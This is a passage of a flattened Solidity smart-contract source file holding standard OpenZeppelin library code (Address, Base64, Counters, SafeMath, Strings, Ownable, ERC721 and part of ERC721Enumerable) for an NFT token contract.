return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// Part: Base64
/// [MIT License]
/// @title Base64
/// @notice Provides a function for encoding some bytes in base64
/// @author Brecht Devos <[email protected]>
library Base64 {
bytes internal constant TABLE = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
/// @notice Encodes some bytes to the base64 representation
function encode(bytes memory data) internal pure returns (string memory) {
uint256 len = data.length;
if (len == 0) return "";
// multiply by 4/3 rounded up
uint256 encodedLen = 4 * ((len + 2) / 3);
// Add some extra buffer at the end
bytes memory result = new bytes(encodedLen + 32);
bytes memory table = TABLE;
assembly {
let tablePtr := add(table, 1)
let resultPtr := add(result, 32)
for {
let i := 0
} lt(i, len) {
} {
i := add(i, 3)
let input := and(mload(add(data, i)), 0xffffff)
let out := mload(add(tablePtr, and(shr(18, input), 0x3F)))
out := shl(8, out)
out := add(out, and(mload(add(tablePtr, and(shr(12, input), 0x3F))), 0xFF))
out := shl(8, out)
out := add(out, and(mload(add(tablePtr, and(shr(6, input), 0x3F))), 0xFF))
out := shl(8, out)
out := add(out, and(mload(add(tablePtr, and(input, 0x3F))), 0xFF))
out := shl(224, out)
mstore(resultPtr, out)
resultPtr := add(resultPtr, 4)
}
switch mod(len, 3)
case 1 {
mstore(sub(resultPtr, 2), shl(240, 0x3d3d))
}
case 2 {
mstore(sub(resultPtr, 1), shl(248, 0x3d))
}
mstore(result, encodedLen)
}
return string(result);
}
}
// Part: Context
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// Part: Counters
/**
* @title Counters
* @author Matt Condon (@shrugs)
* @dev Provides counters that can only be incremented, decremented or reset. This can be used e.g. to track the number
* of elements in a mapping, issuing ERC721 ids, or counting request ids.
*
* Include with `using Counters for Counters.Counter;`
*/
library Counters {
struct Counter {
// This variable should never be directly accessed by users of the library: interactions must be restricted to
// the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add
// this feature: see https://github.com/ethereum/solidity/issues/4637
uint256 _value; // default: 0
}
function current(Counter storage counter) internal view returns (uint256) {
return counter._value;
}
function increment(Counter storage counter) internal {
unchecked {
counter._value += 1;
}
}
function decrement(Counter storage counter) internal {
uint256 value = counter._value;
require(value > 0, "Counter: decrement overflow");
unchecked {
counter._value = value - 1;
}
}
function reset(Counter storage counter) internal {
counter._value = 0;
}
}
// Part: IERC165
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// Part: IERC721Receiver
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// Part: SafeMath
// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.
/**
* @dev Wrappers over Solidity's arithmetic operations.
*
* NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler
* now has built in overflow checking.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator.
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
// Part: Strings
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// Part: ERC165
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// Part: IERC721
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// Part: Ownable
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// Part: IERC721Enumerable
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
// Part: IERC721Metadata
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// Part: ERC721
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
// Part: ERC721Enumerable
/**
* @dev This implements an optional extension of {ERC721} defined in the EIP that adds
* enumerability of all the token ids in the contract as well as all token ids owned by each
* account.
*/
abstract contract ERC721Enumerable is ERC721, IERC721Enumerable {
// Mapping from owner to list of owned token IDs
mapping(address => mapping(uint256 => uint256)) private _ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) private _ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] private _allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) private _allTokensIndex;
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) {
return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) {
require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds");
return _ownedTokens[owner][index];
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _allTokens.length;
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds");
return _allTokens[index];
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override {
super._beforeTokenTransfer(from, to, tokenId);
